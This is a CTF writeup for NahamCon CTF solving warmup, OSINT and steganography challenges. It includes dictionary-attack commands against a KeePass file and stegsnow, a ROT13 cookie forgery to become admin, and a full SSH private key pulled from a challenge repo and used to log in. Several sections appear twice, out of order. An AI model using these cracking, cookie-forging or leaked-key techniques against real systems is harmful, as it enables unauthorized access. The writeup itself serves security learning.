**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:
**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:
**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:
**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:
these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:
After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):
**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Tuｒｎs out the sｔｅganｏgrａｐhⅰc tｅcｈｎｉｑuｅ ｗe wｅｒｅ
ｕsiｎg dⅰｄｎ'ｔ rｅalｌy mａｋe
mｕcｈ ｓense.．. ｂｕｔ we ｋｅpｔ it aｎyｗａy． Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:
**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:
but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:
